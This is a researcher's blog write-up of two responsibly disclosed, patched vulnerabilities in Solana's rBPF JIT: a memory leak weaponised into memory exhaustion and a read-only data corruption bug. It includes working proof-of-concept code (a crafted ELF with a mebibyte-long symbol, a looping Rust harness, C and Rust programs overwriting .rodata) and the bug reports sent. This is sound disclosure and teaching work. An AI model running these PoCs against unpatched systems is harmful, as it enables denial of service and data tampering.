Below are the writeups for two vulnerabilities I discovered in Solana rBPF, a self-described “Rust virtual machine and JIT compiler for eBPF programs”. These vulnerabilities were responsibly disclosed according to Solana’s Security Policy and I have permission from the engineers and from the Solana Head of Business Development to publish these vulnerabilities as shown below.
In part 1, I discussed the development of the fuzzers. Here, I will discuss the vulnerabilities as I discovered them and the process of reporting them to Solana.
Bug 1: Resource exhaustion
The first bug I reported to Solana was exceptionally tricky; it only occurs in highly specific circumstances, and the fact that the fuzzer discovered it at all is a testament to the incredible complexity of inputs a fuzzer can discover through repeated trials. The relevant crash was found in approximately two hours of fuzzer start.
Initial Investigation
The input that triggered the crash disassembles to the following assembly:
entrypoint:
r0 = r0 + 255
if r0 <= 8355838 goto -2
r9 = r3 >> 3
call -1
For whatever reason, this particular set of instructions causes a memory leak.
When executed, this program does the following steps, roughly:
- increase r0 (which starts at 0) by 255
- jump back to the previous instruction if r0 is less than or equal to 8355838
- this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
- set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
- calls a nonexistent function
- the nonexistent function should trigger an unknown symbol error
What stood out to me about this particular test case is how incredibly specific it was; varying the addition of 255 or 8355838 by even a small amount caused the leak to disappear. It was then I remembered the following line from my fuzzer:
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
remaining, here, refers to the number of instructions remaining before the program is forceably terminated. As a result, the leaking program was running out this meter at exactly the call instruction.
A faulty optimisation
There is a wall of text at line 420 of jit.rs which suitably describes an optimisation that Solana applied in order to reduce the frequency at which they need to update the instruction meter.
The short version is that they only update or check the instruction meter when they reach the end of a block or a call in order to reduce the amount of times they update and check the meter. This optimisation is totally reasonable; we don’t care if we run out of instructions at the middle of a block because the subsequent instructions are still “safe”, and if we ever hit an exit that’s the end of a block anyway. In other words, this optimisation should have no effect on the final state of the program.
The issue can be seen in the patch for the vulnerability, where the maintainer moved line 1279 to line 1275. To understand why that’s relevant, let’s walk through our execution again:
- increase r0 (which starts at 0) by 255
- jump back to the previous instruction if r0 is less than or equal to 8355838
- this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
- our meter updates here
- set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
- calls a nonexistent function
- the nonexistent function should trigger an unknown symbol error, but that doesn’t happen because our meter updates here and emits a max instructions exceeded error
However, based on the original order of the instructions, what happens in the call is the following:
- invoke the call, which fails because the symbol is unresolved
- to report the unresolved symbol, we invoke that
report_unresolved_symbolfunction, which returns the name of the symbol invoked (or “Unknown”) in a heap-allocated string - the pc is updated
- the instruction count is validated, which overwrites the unresolved symbol error and terminates execution
Because the unresolved symbol error is merely overwritten, the value is never passed to the Rust code which invoked the JIT program. As a result, the reference to the heap-allocated String is lost and never dropped. Thus: any pointer to that heap allocation is lost and will never be freed, leading to the leak.
That being said, the leak is only seven bytes per execution of the program. Without causing a larger leak, this isn’t particularly exploitable.
Weaponisation
Let’s take a closer look at report_unresolved_symbol.
report_unresolved_symbol source
pub fn report_unresolved_symbol(&self, insn_offset: usize) -> Result<u64, EbpfError<E>> {
let file_offset = insn_offset
.saturating_mul(ebpf::INSN_SIZE)
.saturating_add(self.text_section_info.offset_range.start as usize);
let mut name = "Unknown";
if let Ok(elf) = Elf::parse(self.elf_bytes.as_slice()) {
for relocation in &elf.dynrels {
match BpfRelocationType::from_x86_relocation_type(relocation.r_type) {
Some(BpfRelocationType::R_Bpf_64_32) | Some(BpfRelocationType::R_Bpf_64_64) => {
if relocation.r_offset as usize == file_offset {
let sym = elf
.dynsyms
.get(relocation.r_sym)
.ok_or(ElfError::UnknownSymbol(relocation.r_sym))?;
name = elf
.dynstrtab
.get_at(sym.st_name)
.ok_or(ElfError::UnknownSymbol(sym.st_name))?;
}
}
_ => (),
}
}
}
Err(ElfError::UnresolvedSymbol(
name.to_string(),
file_offset
.checked_div(ebpf::INSN_SIZE)
.and_then(|offset| offset.checked_add(ebpf::ELF_INSN_DUMP_OFFSET))
.unwrap_or(ebpf::ELF_INSN_DUMP_OFFSET),
file_offset,
)
.into())
}
Note how the name is the string which becomes heap allocated. The value of the name is determined by a relocation lookup in the ELF, which we can actually control if we compile our own malicious ELF. Even though the fuzzer only tests the JIT operations, one of the intended ways to load a BPF program is as an ELF, so it seems like something that would certainly be in scope.
Crafting the malicious ELF
To create an unresolved relocation in BPF, it’s actually quite simple. We just need to create a function with a very, very long name that isn’t actually defined, only declared. To do so, I created two files to craft the malicious ELF:
evil.h
evil.h is far too large to post here, as it has a function name that is approximately a mebibyte long. Instead, it was generated with the following bash command.
$ echo "#define EVIL do_evil_$(printf 'a%.0s' {1..1048576})
void EVIL();
" > evil.h
evil.c
#include "evil.h"
void entrypoint() {
asm(" goto +0\n"
" r0 = 0\n");
EVIL();
}
Note that goto +0 is used here because we’ll use a specialised instruction meter that only can do two instructions.
Finally, we’ll also make a Rust program to load and execute this ELF just to make sure the maintainers are able to replicate the issue.
elf-memleak.rs
You won’t be able to use this particular example anymore as rBPF has changed a lot of its API since the time this was created. However, you can check out version v0.22.21, which this exploit was crafted for.
Note in particular the use of an instruction meter with two remaining.
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{elf::{Executable, register_bpf_function}, insn_builder::IntoBytes, vm::{Config, EbpfVm, TestInstructionMeter, SyscallRegistry}, user_error::UserError};
use solana_rbpf::insn_builder::{Arch, BpfCode, Cond, Instruction, MemSize, Source};
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::verifier::check;
fn main() {
let mut file = File::open("tests/elfs/evil.so").unwrap();
let mut elf = Vec::new();
file.read_to_end(&mut elf).unwrap();
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut syscall_registry = SyscallRegistry::default();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscall_registry).unwrap();
if Executable::jit_compile(&mut executable).is_ok() {
for _ in 0.. {
let mut jit_mem = [0; 65536];
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 2 };
jit_vm.execute_program_jit(&mut jit_meter).ok();
}
}
}
With our malicious ELF that has a function name that’s a mebibyte long, the report_unresolved_symbol will set that name variable to the long function name. As a result, the allocated string will leak a whole mebibyte of memory per execution rather than the measly seven bytes. When performed in this loop, the entire system’s memory will be exhausted in mere moments.
Reporting
Okay, so now that we’ve crafted the exploit, we should probably report it to the vendor.
A quick Google later and we find the Solana security policy. Scrolling through, it says:
DO NOT CREATE AN ISSUE to report a security problem. Instead, please send an email to security@solana.com and provide your github username so we can add you to a new draft security advisory for further discussion.
Okay, reasonable enough. Looks like they have bug bounties too!
DoS Attacks: $100,000 USD in locked SOL tokens (locked for 12 months)
Woah. I was working on rBPF out of curiosity, but it seems that there’s quite a bounty made available here.
I sent in my bug report via email on January 31st, and, within just three hours, Solana acknowledged the bug. Below is the report as submitted to Solana:
Report for bug 1 as submitted to Solana
There is a resource exhaustion vulnerability in solana_rbpf (specifically in src/jit.rs) which affects JIT-compiled eBPF programs (both ELF and insn_builder programs). An adversary with the ability to load and execute eBPF programs may be able to exhaust memory resources for the program executing solana_rbpf JIT-compiled programs.
The vulnerability is introduced by the JIT compiler’s emission of an unresolved symbol error when attempting to call an unknown hash after exceeding the instruction meter limit. The rust call emitted to Executable::report_unresolved_symbol allocates a string (“Unknown”, or the relocation symbol associated with the call) using .to_string(), which performs a heap allocation. However, because the rust call completes with an instruction meter subtraction and check, the check causes the early termination of the program with Err(ExceededMaxInstructions(_, _)). As a result, the reference to the error which contains the string is lost and thus the string is never dropped, leading to a heap memory leak.
The following eBPF program demonstrates the vulnerability:
entrypoint:
goto +0
r0 = 0
call -1
where the tail call’s immediate argument represents an unknown hash (this can be compiled directly, but not disassembled) and with a instruction meter set to 2 instructions remaining.
The optimisation used in jit.rs to only update the instruction meter is triggered after the ja instruction, and subsequently the mov64 instruction does not update the instruction meter despite the fact that it should prevent further execution here. The call instruction then performs a lookup for the non-existent symbol, leading to the execution of Executable::report_unresolved_symbol which performs the allocation. The call completes and updates the instruction meter again, now emitting the ExceededMaxInstructions error instead and losing the reference to the heap-allocated string.
While the leak in this example is only 7 bytes per error emitted (as the symbol string loaded is “Unknown”), one could craft an ELF with an arbitrarily sized relocation entry pointing to the call’s offset, causing a much faster exhaustion of memory resources. Such an example is attached with source code. I was able to exhaust all memory on my machine within a few seconds by simply repeatedly jit-executing this binary. A larger relocation entry could be crafted, but I think the example provided makes the vulnerability quite clear.
Attached is a Rust file (elf-memleak.rs) which may be placed within the examples/ directory of solana_rbpf in order to test the evil.{c,h,so} provided. It is highly recommend to run this for a short period of time and cancelling it quickly, as it quickly exhausts memory resources for the operating system.
Additionally, one could theoretically trigger this behaviour in programs not loaded by the attacker by sending crafted payloads which cause this meter misbehaviour. However, this is unlikely because one would also need to submit such a payload to a target which has an unresolved symbol.
For these reasons, I propose that this bug be classified under DoS Attacks (Non-RPC).
Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k.
Bug 2: Persistent .rodata corruption
The second bug I reported was easy to find, but difficult to diagnose. While the bug occurred with high frequency, it was unclear as to what exactly what caused the bug. Past that, was it even exploitable or useful?
Initial Investigation
The input that triggered the crash disassembles to the following assembly:
entrypoint:
or32 r9, -1
mov32 r1, -1
stxh [r9+0x1], r0
exit
The crash type triggered was a difference in JIT vs interpreter exit state; JIT terminated with Ok(0), whereas interpreter terminated with:
Err(AccessViolation(31, Store, 4294967296, 2, "program"))
Spicy stuff. Looks like our JIT implementation has some form of out-of-bounds write. Let’s investigate a bit further.
The first thing of note is the access violation’s address: 4294967296. In other words, 0x100000000. Looking at the Solana documentation, we see that this address corresponds to program code. Are we writing to JIT’d code??
The answer, dear reader, is unfortunately no. As exciting as the prospect of arbitrary code execution might be, this actually refers to the BPF program code – more specifically, it refers to the read-only data present in the ELF provided. Regardless, it is writing to a immutable reference to a Vec somewhere that represents the program code, which is supposed to be read-only.
So why isn’t it?
The curse of x86
Let’s make our payload more clear and execute directly, then pop it into gdb to see exactly what code the JIT compiler is generating. I used the following program to test for OOB write:
oob-write.rs
This code likely no longer works due to changes in the API of rBPF changing in recent releases. Try it in examples/ in v0.2.22, where the vulnerability is still present.
use std::collections::BTreeMap;
use solana_rbpf::{
elf::Executable,
insn_builder::{
Arch,
BpfCode,
Instruction,
IntoBytes,
MemSize,
Source,
},
user_error::UserError,
verifier::check,
vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::InstructionMeter;
fn dump_insns<E: UserDefinedError, I: InstructionMeter>(executable: &Executable<E, I>) {
let analysis = Analysis::from_executable(executable);
// eprint!("Using the following disassembly");
analysis.disassemble(&mut std::io::stdout()).unwrap();
}
fn main() {
let config = Config::default();
let mut code = BpfCode::default();
let mut jit_mem = Vec::new();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&mut bpf_functions, 0, "entrypoint", false).unwrap();
code
.load(MemSize::DoubleWord).set_dst(9).push()
.load(MemSize::Word).set_imm(1).push()
.store_x(MemSize::HalfWord).set_dst(9).set_off(0).set_src(0).push()
.exit().push();
let mut prog = code.into_bytes();
assert!(check(prog, &config).is_ok());
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
dump_insns(&executable);
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
if let Ok(_) = jit_res {
eprintln!("{} => {:?} ({:?})", 0, jit_res, &jit_mem);
}
}
This just sets up and executes the following BPF assembly:
entrypoint:
lddw r9, 0x100000000
stxh [r9+0x0], r0
exit
This assembly simply writes a 0 to 0x100000000.
For the next part: please, for the love of god, use GEF.
$ cargo +stable build --example oob-write
$ gdb ./target/debug/examples/oob-write
gef➤ break src/vm.rs:1061 # after the JIT'd code is prepared
gef➤ run
gef➤ print self.executable.ro_section.buf.ptr.pointer
gef➤ awatch *$1 # break if we modify the readonly section
gef➤ record full # set up for reverse execution
gef➤ continue
After that last continue, we effectively execute until we hit the write access to our read-only section. Additionally, we can step backwards in the program until we find our faulty behaviour.
The watched memory is written to as a result of this X86 store instruction (as a reminder, we this is the branch for stxh). Seeing this emit_address_translation call above it, we can determine that that function likely handles the address translation and readonly checks.
Further inspection shows that emit_address_translation actually emits a call to… something:
emit_call(jit, TARGET_PC_TRANSLATE_MEMORY_ADDRESS + len.trailing_zeros() as usize + 4 * (access_type as usize))?;
Okay, so this is some kind of global offset for this JIT program to translate the memory address. By searching for TARGET_PC_TRANSLATE_MEMORY_ADDRESS elsewhere in the program, we find a loop which initialises different kinds of memory translations.
Scrolling through this, we find our access check:
X86Instruction::cmp_immediate(OperandSize::S8, RAX, 0, Some(X86IndirectAccess::Offset(25))).emit(self)?; // region.is_writable == 0
Okay – so the x86 cmp instruction to find is one that uses a destination of [rax+0x19]. A couple rsi later to find such an instruction and we find:
cmp DWORD PTR [rax+0x19], 0x0
Which is, notably, not using an 8-bit operand as the cmp_immediate call suggests. So what’s going on here?
x86 cmp operand size woes
Here is the definition of X86Instruction::cmp_immediate:
pub fn cmp_immediate(
size: OperandSize,
destination: u8,
immediate: i64,
indirect: Option<X86IndirectAccess>,
) -> Self {
Self {
size,
opcode: 0x81,
first_operand: RDI,
second_operand: destination,
immediate_size: OperandSize::S32,
immediate,
indirect,
..Self::default()
}
}
This creates an x86 instruction with the opcode 0x81. Inspecting closer and cross-referencing with an x86-64 opcode reference, you can find that opcode 0x81 is only defined for 16-, 32-, and 64-bit register operands. If you want to use an 8-bit register operand, you’ll need to use the 0x80 opcode variant.
This is precisely the patch applied.
A quick side note about testing code with different compilers
This bug actually was a bit weirder than it seems at first. Due to differences in Rust struct padding between versions, at the time that I reported the bug, the difference was spurious in stable release. As a result, it’s quite likely that no one would have noticed the bug until the next Rust release version.
From my report:
It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.
Proof of concept
Alright, now to create a PoC so that the people inspecting the bug can validate it. Like last time, we’ll create an ELF, along with a few different demonstrations of the effects of the bug. Specifically, we want to demonstrate that read-only values in the BPF target can be modified persistently, as our writes affect the executable and thus all future executions of the JIT program.
value_in_ro.c
This program should fail, as the data to be overwritten should be read-only. It will be executed by howdy.rs.
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;
extern void log(const char*, uint64_t);
static const char data[] = "howdy";
extern uint64_t entrypoint(const uint8_t *input) {
log(data, 5);
char *overwritten = (char *)data;
overwritten[0] = 'e';
overwritten[1] = 'v';
overwritten[2] = 'i';
overwritten[3] = 'l';
overwritten[4] = '!';
log(data, 5);
return 0;
}
howdy.rs
This program loads the compiled version of value_in_ro.c and attaches a log syscall so that we can see the behaviour internally. I confirmed that this syscall did not affect the runtime behaviour.
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{
elf::Executable,
insn_builder::{
BpfCode,
Instruction,
IntoBytes,
MemSize,
},
user_error::UserError,
verifier::check,
vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::{InstructionMeter, SyscallObject};
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut elf = Vec::new();
File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf);
let mut syscalls = SyscallRegistry::default();
syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call);
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
for _ in 0..4 {
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
}
This program, when executed, has the following output:
howdy
evil!
evil!
evil!
evil!
evil!
evil!
evil!
These first two files demonstrate the ability to overwrite the readonly data present in binaries persistently. Notice that we actually execute the JIT’d code multiple times, yet our changes to the value in data are persistent.
Implications
Suppose that there was a faulty offset or a user-controlled offset present in a BPF-based on-chain program. A malicious user could modify the readonly data of the program to replace certain contexts. In the best case scenario, this might lead to DoS of the program. In the worst case, this could lead to the replacement of fund amounts, of wallet addresses, etc.
Reporting
Having assembled my proof-of-concepts, my implications, and so on, I sent in the following report to Solana on February 4th:
Report for bug 2 as submitted to Solana
An incorrectly sized memory operand emitted by src/jit.rs:1490 may lead to .rodata section corruption due to an incorrect is_writable check. The cmp emitted is cmp DWORD PTR [rax+0x19], 0x0. As a result, when the uninitialised data present in the field padding of MemoryRegion is non-zero, the comparison will fail and assume that the section is writable. The data which is overwritten is persistent during the lifetime of the Executable instance as the data overwritten is in Executable.ro_section and thus affects future executions of the program without recompilation.
It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.
The first attack scenario where this vulnerability may be leveraged is in corruption of believed read-only data; see value_in_ro.{c,so} (intended to be placed within tests/elfs/) as an example of this behaviour. The example provided is contrived, but in scenarios where BPF programs do not correctly sanitise offsets in input, it may be possible for remote attackers to craft payloads which corrupt data within the .rodata section and thus replace secrets, operational data, etc. In the worst case, this may include replacement of critical data such as fixed wallet addresses for the lifetime of the Executable instance, which may be many executions. To test this behaviour, refer to howdy.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.
The second attack scenario is in corruption of BPF source code, which poisons future analysis and compilation. In the worst case (which is probably not a valid scenario), if the Executable is erroneously JIT compiled a second time after being executed in JIT once, the JIT compilation may emit unchecked BPF instructions as the verifier used in from_elf/from_text_bytes is not used per-compilation. Analysis and tracing is similarly corrupted, which may be leveraged to obscure or misrepresent the instructions which were previously executed. An example of the latter is provided in analysis-corruption.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.
While this vulnerability is largely uncategorised by the security policy provided, due to the possibility of the corruption of believed read-only data, I propose that this vulnerability be categorised under Other Attacks or Safety Violations.
value_in_ro.c (.so available upon request)
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;
extern void log(const char*, uint64_t);
static const char data[] = "howdy";
extern uint64_t entrypoint(const uint8_t *input) {
log(data, 5);
char *overwritten = (char *)data;
overwritten[0] = 'e';
overwritten[1] = 'v';
overwritten[2] = 'i';
overwritten[3] = 'l';
overwritten[4] = '!';
log(data, 5);
return 0;
}
analysis-corruption.rs
use std::collections::BTreeMap;
use solana_rbpf::elf::Executable;
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::insn_builder::BpfCode;
use solana_rbpf::insn_builder::Instruction;
use solana_rbpf::insn_builder::IntoBytes;
use solana_rbpf::insn_builder::MemSize;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&mut bpf_functions, 0, "entrypoint", true).unwrap();
let mut code = BpfCode::default();
code
.load(MemSize::DoubleWord).set_dst(0).set_imm(0).push()
.load(MemSize::Word).set_imm(1).push()
.store(MemSize::DoubleWord).set_dst(0).set_off(0).set_imm(0).push()
.exit().push();
let prog = code.into_bytes();
assert!(check(prog, &config).is_ok());
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
let jit_tracer = jit_vm.get_tracer();
let analysis = Analysis::from_executable(&executable);
let stderr = std::io::stderr();
jit_tracer.write(&mut stderr.lock(), &analysis).unwrap();
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
howdy.rs
use std::fs::File;
use std::io::Read;
use solana_rbpf::elf::Executable;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallObject;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut elf = Vec::new();
File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf).unwrap();
let mut syscalls = SyscallRegistry::default();
syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call).unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
for _ in 0..4 {
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
}
The bug was patched in a mere 4 hours.
Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k. I disagreed strongly with this classification, but Solana said that due to the low likelihood of the exploitation of this bug (requiring a vulnerability in the on-chain program) they would offer $100k instead of the originally suggested $1m or $400k. They would not move on this point.
However, I would offer that (was that the actually basis for bug classification) that they should update their Security Policy to reflect that meaning. It was obviously very disappointing to hear that they would not be offering the bounty I expected given the classification categories provided.
Okay, so what’d you do with the money??
It would be bad form of me to not explain the incredible flexibility shown by Solana in terms of how they handled my payout. I intended to donate the funds to the Texas A&M Cybersecurity Club, at which I gained a lot of the skills necessary to perform this research and these exploits, and Solana was very willing to sidestep their listed policy and donate the funds directly in USD rather than making me handle the tokens on my own, which would have dramatically affected how much I could have donated due to tax. So, despite my concerns regarding their policy, I was very pleased with their willingness to accommodate my wishes with the bounty payout.